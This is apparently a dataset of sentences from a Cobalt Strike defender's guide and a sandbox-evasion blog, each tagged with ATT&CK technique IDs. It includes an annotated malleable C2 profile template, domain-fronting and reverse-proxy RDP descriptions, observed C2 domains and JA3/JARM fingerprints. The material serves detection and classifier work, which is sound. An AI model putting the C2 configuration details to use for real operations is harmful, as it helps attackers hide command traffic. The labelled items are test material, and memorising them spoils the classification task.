{"sentence": "Even though network monitoring and detection capabilities do not come easy for many organizations, they can generally offer a high return on investment if implemented correctly.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Malware has to contact its C2 server if it is to receive further instructions.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This article will demonstrate how to detect this communication before threat actors accomplish their objectives.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "There are a couple of factors that we can utilize to fingerprint any suspicious traffic and subsequent infrastructure.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Before we get into that part, we should first discuss what makes Cobalt Strike so versatile.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Cobalt Strike’s versatility comes from the ability to change the indicators with each payload.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Below you can find information related to some of the most important fields that could throw off an analyst while investigating a Cobalt Strike network communication:", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The reference profile below is taken from Raphael Mudge’s GitHub repository.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "###Global Options### set sample_name \"whatever.profile\"; set sleeptime \"0\"; <================ # Decimal number to indicate the time the beacon will sleep for between communications in milliseconds set jitter \"25\"; <================ # A number that indicates the percentage of a random sleep time that beacon will introduce to its C2 comm set useragent \"<string>\"; <================ # Custom user agent of your choice set data_jitter \"35\"; <================ # Represents the value bytes variable that would instruct Cobalt Strike to send a random string on http-get/post to match the bytes value.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "set headers_remove \"<header to remove>\"; <================ # Specifying headers to be removed in a comma separated manner.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "####### https-certificate { set C \"US\"; set CN \"whatever.com\"; set L \"California\"; set O \"whatever LLC.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "\"; set OU \"local.org\"; set ST \"CA\"; set validity \"365\"; } ###HTTP-Config Block### http-config { set headers \"<headers to include>\"; <================ # Specifying the headers that you want to include. header \"<name of the header(s)>\"; <================ # Specifying the name of the header that will store the data that are transmitted to the C2 server set trust_x_forwarded_for \"<true OR false>\"; <================ # If the C2 server is behind a redirector, this option would allow to forward the traffic to the correct destination set block_useragents \"<user agents>\"; <================ # User agents that C2 server will block and show a 404 response set allow_useragents \"<user agents>\" <================ # Opposite of the above } ###HTTP-GET Block.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This function and all of its fields could also exist and be customized for the HTTP-POST Block (Server communication)### http-get { set uri \"/<URI string>\"; <================ # Specifying the URI to reference in bidirectional communication from client and server set verb \"POST\"; <================ # Setting the verb when requesting available tasks from the C2 server.", "labels": ["T1071.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "header \"Connection\" \"close\"; ### Metadata corresponds to the information that the beacon is sending to the C2 server about itself.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The operators may choose to enable additional fields that will include data on the C2 communication.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "You can mix and match fields below: metadata { #base64; <================ # Base64 encoded string base64url; <================ # URL safe Base64 encoded string #mask; <================ # Encrypting and encoding the data with XOR mask and random key #netbios; <================ # Encoding data as netbios in lower case #netbiosu; <================ # Another variation of netbios encoding #prepend \"TEST123\"; <================ # Choosing a string to prepend to the transmitted data append \".php\"; <================ # Choosing a string to append ### Termination statements: This statement tells Beacon and its server wherein the transaction to store the transformed data.", "labels": ["T1573.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "#header \"Cookie\"; <================ # Adding a specific string within a specific header.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "#uri-append; <================ # Adding a specific string in the URI.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "#print; } parameter \"test1\" \"t We added comments to the profile above to explain the numerous fields operators can change to customize the profile to their needs.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "All these different fields provide control and flexibility over the indicators of the C2 channel.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Many free, open-source randomizer scripts exist to create a unique profile such as Random C2 Profile Generator by @joevest, Malleable-C2-Randomizer by @bluscreenofjeff, and C2concealer by @FortyNorthSec.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Below are some of the Cobalt Strike C2 servers that we observed during intrusions.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "On the right column, we show the URLs that the Cobalt Strike payloads were configured to query.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Another example is the “jquery-3.3.1.min.js” which is associated with this malleable C2 profile as we observed in four intrusions.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "+----------------------+-----------------------+ | C2 Server | URI queried |", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "+----------------------+-----------------------+ | gawocag.com | /nd", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "| | securityupdateav.com | /tab_shop_active.html", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "| | windowsupdatesc.com | /as | | 212.114.52.180 | /copyright.css | | defenderupdateav.com | /default.css | | onlineworkercz[.]com | /kj | | checkauj.com | /jquery-3.3.1.min.js", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "| +----------------------+-----------------------+ A deep dive into all available fields can be found on this post from @ZephrFish.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Another great resource is this article released by SpecterOps.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Domain Fronting Domain fronting is another method for concealing communication between the endpoint and the command and control servers.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The main purpose of domain fronting is to connect to a restricted host while pretending to communicate with an allowed host.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "It essentially masks your traffic to a certain website by masquerading it as a different domain.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Domain fronting was mostly used by web services to bypass censorship in several countries that restricted traffic (e.g., China).", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In recent years, attackers have started using this technique to hide their malicious infrastructure behind legitimate domains.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Because domain fronting is a complicated topic to grasp, below we have included an image from the official Cobalt Strike page that discusses this technique.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Cobalt Strike made domain fronting possible by allowing the operators to configure related settings via the malleable C2 profiles.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The following prerequisites must be met in order for domain fronting to be possible: Own a domain.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "(e.g., cloudfront.net).", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Setup a profile to facilitate domain fronting.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Attackers can use legitimate domains that are registered under the same CDN provider.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In the screenshots below, you can see how the malleable C2 profiles are configured to allow domain fronting using the Fastly and AzureEdge CDNs:", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "He explains in simple terms how it works.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "He also published a Python script to identify possible domains that can be leveraged for domain fronting.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Looking into our reporting, we don’t see many instances of domain fronting.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This is most likely due to the complex process of setting up the necessary infrastructure.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Although, based on the data we have collected regarding malicious infrastructure, domain fronting appears to be used by threat actors.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "According to our data from early 2021 up to now, Amazon Cloudfront takes the lead on preferable CDN used by threat actors, by a large margin.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The data above is available via our services.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Reverse Proxy using Cobalt Strike Beacon A technique that we come across often is a reverse proxy.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This enables the operators to setup a listening port and leverage it to relay traffic to and from the open beacon session.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The screenshot below demonstrates this implementation.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Image credit: cobaltstrike.com Some of the cases we have observed threat actors using reverse proxy are: Diavol Ransomware BazarLoader and the Conti Leaks Snatch Ransomware", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In most, of the above cases, the aim of the attackers was to establish a Remote Desktop session.", "labels": ["T1021.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "There are numerous advantages to establishing a RDP session, including the ability to navigate using a graphical environment and easily move laterally once the necessary access has been granted.", "labels": ["T1021.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Below, we demonstrate how attackers take advantage of this technique using proxychains from the attackers’ kali Linux host.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In the first image, the attackers open a socks listening port, in this case port 8888, on the Cobalt Strike team server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Creating the listening port (TCP port 8888)", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In this second image, we employ proxychains from the attacker’s Kali Linux host to RDP into our target’s environment via the SOCKS server.", "labels": ["T1021.001", "T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "RDP into the target host using reverse proxy Looking into the generated artifacts, we can see that a 4624 type 3 event is created on the target host.", "labels": ["T1021.001", "T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "One interesting aspect that we have also mentioned in similar cases from our reporting is that the victim’s hostname is captured in this logon event as well as the source address being 127.0.0.1. Security Event ID 4624 Type 3 shows the attacker’s hostname Once again, the running Cobalt Strike beacon acts as the intermediary to facilitate the Remote Desktop session via reverse proxy.", "labels": ["T1021.001", "T1082", "T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Inside Cobalt Strike’s", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "C2 Traffic This section will attempt to illustrate how the different malleable C2 profiles can affect network communication.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In some of the examples below, we simulated the malicious C2 channel to show how different malleable profile configurations can change the observed traffic.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "After that, we’ll examine network data associated with lateral movement and the various methods employed by Cobalt Strike operators based on our observations.", "labels": ["T1071.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "HTTP/HTTPS C2 traffic", "labels": ["T1071.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "We will use a slightly modified version of the jquery profile to illustrate how the configuration defines the various fields that make up the C2 connection.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "A portion of the malleable C2 profile configuration is shown at the bottom half of the screenshot.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "At the top half of the screenshot, we show the HTTP communication between the Beacon and the Cobalt Strike server.", "labels": ["T1071.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The malleable profile determines the content of all parameters used in GET and POST requests.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Because of how simple it is to change these parameters, creating network signatures for proactive defense can be difficult.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Defenders can create signatures for publicly available profiles (see Sigma section below) or profiles extracted and made available thru open-source reporting.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "One could search for traffic that matches known patterns (such as jquery or amazon) but the target IP/domain does not match the expected infrastructure.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Operators can choose to configure their server to respond to beacon requests in A, AAAA or TXT records.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This strategy is useful for more covert operations, as the destination host could be a benign DNS server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Defenders will have to inspect the traffic data and look for suspicious DNS records.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The screenshot below is from the official Cobalt Strike documentation page and shows how DNS communication works between the compromised host and the C2 server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In the below example, we emulated this technique and configured the Beacon to communicate over DNS and request new tasks using A records.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In the same way, we can configure the Beacon to use TXT or AAAA records for requesting tasks or sending information to the server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "It is worth noting that the default method is the DNS TXT record data channel.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "As you can see from the screenshot below, it took 148 packets containing DNS requests and responses to finish the task and send back the data to the Cobalt Strike Server.", "labels": ["T1041"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Some of the options that are available to threat actors are as follows:", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "SMB beacons open a local port on the target host and listen for incoming communication from a parent beacon.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The communication between the two beacons is possible thanks to named pipes.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "For a list of default pipe names for other services including some custom profiles check out @svch0st’s post here.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "SMB beacons are mostly used to make network detection harder and to get access to isolated systems where communication to the internet is prohibited.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Additionally, due to SMB protocol being accessible in most internal networks, it makes for a reliable C2 method.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Operators can also chain beacons and move laterally inside the network.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "However, they’re still a powerful weapon in the hands of skilled operators.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "We ran a PowerShell loader on the target host, which loaded a stageless SMB beacon in memory.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In our case, the SMB Beacon is communicating over the network with a parent Beacon using named pipes.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "As you can see from the screenshots below, windows event 4688 contains the execution of the PowerShell command.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "However, Sysmon should be explicitly configured to log named pipes.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "A good public Sysmon config that includes named pipes and much more is Olaf‘s Sysmon Moduler.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Below, you can see the named pipe created that we specified on the Cobalt Strike interface when we created the SMB listener.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Furthermore, the SMB Beacon will communicate over port 445 to the main beacon as we described above, which will then send the results to the C2 server.", "labels": ["T1041"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This is known as chaining beacons.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The below screenshot illustrates the SMB communication between the beacon on the beachhead host and the chained beacon(s).", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Another way to describe the communication is a parent/child relationship.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The network traffic shows the target host communicating over SMB with the other compromised host running the parent HTTP Beacon.", "labels": ["T1071.001"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Named Pipes are used to facilitate the transition of data.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "There are specific tools that we use to analyze suspicious network traffic in our intrusion cases.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "We believe that no single tool can provide complete detection coverage, but we can get close by combining them.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "In the following section, we will look at these tools that could accelerate analysis for defenders.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Cobalt Strike DNS Beaconing is a rule created by Florian Roth which looks at DNS logs to detect the default DNS C2 behavior based on the dns_stager_subhost, put_output and dns_stager_subhost as seen above.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Below is a more generic rule created by @bareiss_patrick which is a good example of detecting suspicious DNS traffic based on a high amount of queries for a single domain.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Another more generic rule created by Daniil Yugoslavskiy uses dns logs to look for 50 or more TXT records from a single source in one minute: Default Cobalt Strike Certificate is a rule written by Bhabesh Raj that uses Zeek logs to detect the default Cobalt Strike certificate.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "RDP over Reverse SSH Tunnel WFP by Samir Bousseaden is a rule that can look for suspicious RDP activity using reverse tunneling.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "CobaltStrike Malleable Amazon Browsing Traffic Profile by Markus Neis which looks at proxy logs for the Amazon Malleable profile.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "All Sigma rules here are documented towards the bottom of Part 1. Rita Rita stands for Real Intelligence Threat Analytics (RITA), developed by Active Countermeasures.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "It takes Zeek logs data and can, in our experience, accurately detect beaconing activity.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "One of the great features of Rita is its ease of use and detailed output information in various forms, including CSV and HTML.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "One simply can point Rita to the Zeek logs and wait for the results.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The more available data, the more precise the results will be.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Zeek logs can be generated from the PCAP(s).", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The screenshot samples below show the results created by Rita based on the traffic we used in the previous sections to demonstrate the jquery malleable C2 profile.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "We left the Beacon running for an hour to simulate an actual infection while several other network-unrelated processes ran in the background.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "During this hour, we tasked the Beacon with carrying out several commands.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Although, the more data you have, the more accurate the results will be.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The first three IP addresses relate to the CS servers with which the Beacon communicated.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "As a result, we can detect Cobalt Strike beaconing regardless of the malleable C2 profile utilized or any additional jitter present.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "JA3/JA3S JA3 is an open-source project created by John Althouse, Jeff Atkinson and Josh Atkins.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "JA3/JA3S can create SSL fingerprints for communication between clients and servers.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Hello packet: - SSL Version - Accepted Ciphers - List of Extensions - Elliptic Curves - Elliptic Curve Formats For more information on how JA3 works, you can visit the official GitHub repository here: https://github.com/salesforce/ja3.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The JA3 tool is used to generate a signature for the client-side beacon connection with the server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "JA3S, on the other hand, is able to generate a server fingerprint.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "JA3S can capture the full cryptographic communication and combine the JA3 findings to generate the signature.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "The downside of this method is that it can produce inaccurate results if the Cobalt Strike is behind redirectors.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "When it comes to Cobalt Strike infrastructure, the known JA3 and JA3s signatures that we are looking for are: JA3 72a589da586844d7f0818ce684948eea a0e9f5d64349fb13191bc781f81f42e1 JA3s b742b407517bac9536a77a7b0fee28e9 ae4edc6faf64d08308082ad26be60767 By using JA3/S signatures, we can discover various malware C2 servers and not just Cobalt Strike.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Salesforce provides a thorough collection of signatures that belong to many different applications here.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "JARM Similar to JA3/JA3S, JARM has the ability to fingerprint the TLS values of the remote server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "It does this by interacting with the target server sending 10 TLS Client", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Hello packets and recording the specific attributes from the replies.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "It will then hash the result values and create the final JARM fingerprint.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Unlike JA3/S, JARM is an active way of fingerprinting remote server applications.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "John Althouse has created a medium post that accurately conveys the differences between JA3/S and JARM: “JARM actively scans the server and builds a fingerprint of the server application.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Whereas JA3/S is passive, just listening, not reaching out, JARM is active, actively probing the target.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "And is able to build a fingerprint of the server application where JA3S could not.”", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "According to research and further changes on the JAVA TLS version as mentioned below, the JARM fingerprint that corresponds to a default configuration of the Cobalt Strike is: 07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2 Cobalt Strike is dependent on Java to run both the client graphical user interface (GUI) and the team server.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "When we scan a Cobalt Strike server using JARM, the results we get back are dependent on the Java version that is used.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This makes it easier to identify a potential Cobalt Strike server, however, defenders should be aware that this outcome alone is prone to false positives.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "This is because many other legitimate servers on the internet use this version of Java to operate their web applications.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "On April 20th, 2021 Java Disabled TLS 1.0 and TLS 1.1 in favor of TLS 1.2 or above.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "To: 07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2 This change was highlighted by @bodziurity and @WLesicki in a collaborative effort: Cobalt Strike has a post dedicated to JARM that goes into detail on how JARM works and how the specific hash value is created based on the Java version.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Looking into our reporting for this hash value will return four of our cases.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "All these cases involve Cobalt Strike as the post-exploitation method.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "[target] -p", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Called JARM Randomizer the tool can be configured as a proxy in front of the Cobalt Strike server to serve up false data to potential internet scanners.", "labels": ["T1090"], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Arkime (Moloch) and JA3/S We included Arkime as it integrates with JA3/JA3S and other plugins to enhance network analysis.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Arkime is a tool that we use a lot to investigate network activity and gather indicators.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "It can index network traffic and make events easily searchable.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Arkime is simple to set up and excellent for reviewing traffic.", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "Would you like to see something specific in Part 3?", "labels": [], "doc_title": "Cobalt Strike a Defenders Guide  Part 2"}
{"sentence": "We’ve adapted to these techniques by tailoring our analysis platform in a couple of notable ways that we’ll discuss, particularly to address malware that engages in sandbox evasion.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "The first is an approach we call “dependency emulation,” where we can successfully detonate malware samples that would not normally be able to execute in our sandbox environment due to a lack of dependencies.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "We will also discuss our strategies of stealthy instrumentation for analysis of encrypted network traffic, to combat the ways SSL can be used to complicate command-and-control (C2) traffic analysis.", "labels": ["T1095"], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "One overarching goal malware authors share is to remain undetected until their overall objective is reached.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "As we’ve previously detailed in this blog post series, this has resulted in a seemingly limitless number of evasions and strategies targeted at confounding sandboxing and static analysis approaches.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Palo Alto Networks customers receive improved detection for the evasions discussed in this blog through Advanced WildFire.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "When we do, we’re referring to additional code that an executable depends on that is not inside the executable file.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "On Windows, external dependencies are usually Dynamically Linked Libraries (DLLs) that contain additional functionality that can be imported into the process to execute.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Often malware does not require external libraries in order to execute its malicious code, or it might call functions from those external libraries in a very late stage of its execution.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "Over the past few years we’ve noticed a large uptick in malicious Windows executables that require external libraries for things like graphical user interfaces or better cross-platform support, and if the libraries are missing, then the malicious sample won’t be able to run.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "When Windows cannot load an application because of a missing library, it will show a “System Error” error message box that displays the missing library name.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "But we wouldn’t be able to get any analysis information from the sample because no malicious code was executed.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "In Figure 1, we can see a screenshot of the ATMSpitter malware family, which requires the DLL MSXFS.dll to fully detonate.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "and we can extract information such as executed system calls and modified memory regions.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "ATMSpitter malware requires MSXFS.dll to run.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
{"sentence": "File infectors like Sality, Floxif, Expiro and Ramnit typically infect predefined sets of executables that they find on the disk.", "labels": [], "doc_title": "Tailoring Sandbox Techniques to Hidden Threats"}
